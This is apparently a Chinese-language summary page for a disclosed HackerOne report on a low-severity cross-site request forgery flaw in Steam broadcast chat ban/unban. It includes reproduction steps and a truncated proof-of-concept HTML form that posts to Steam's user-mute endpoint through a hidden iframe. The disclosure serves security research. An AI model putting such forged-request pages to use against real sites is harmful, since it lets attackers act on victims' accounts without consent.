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地图 / CSRF | Ban or unban users in broadcast's chat

CSRF | Ban or unban users in broadcast's chat

跨站请求伪造 / 跨站请求伪造 / #381237

厂商
Valve
严重程度
低危 · CVSS 3.5
赏金
—
弱点
跨站请求伪造
研究员
@romesful
披露日期
2019-01-07
资产
steamcommunity.com
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2153 字符中的一小部分)
Steps to reproduce * Start broadcast * Attacker needs to craft special HTML page * Get broadcast's steam id(it contains in URL: `https://steamcommunity.com/broadcast/watch/{STEAM ID}/` * If attacker wants to unban somebody, he needs to create HTML page like this:
原文中的代码
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://steamcommunity.com/broadcast/ajaxupdateusermute/" method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="broadcaststeamid" value="{STEAM ID}">
<input type="hidden" name="issuersteamid" value="{STEAM …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Valve 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @romesful · 版权归作者与 Valve 所有

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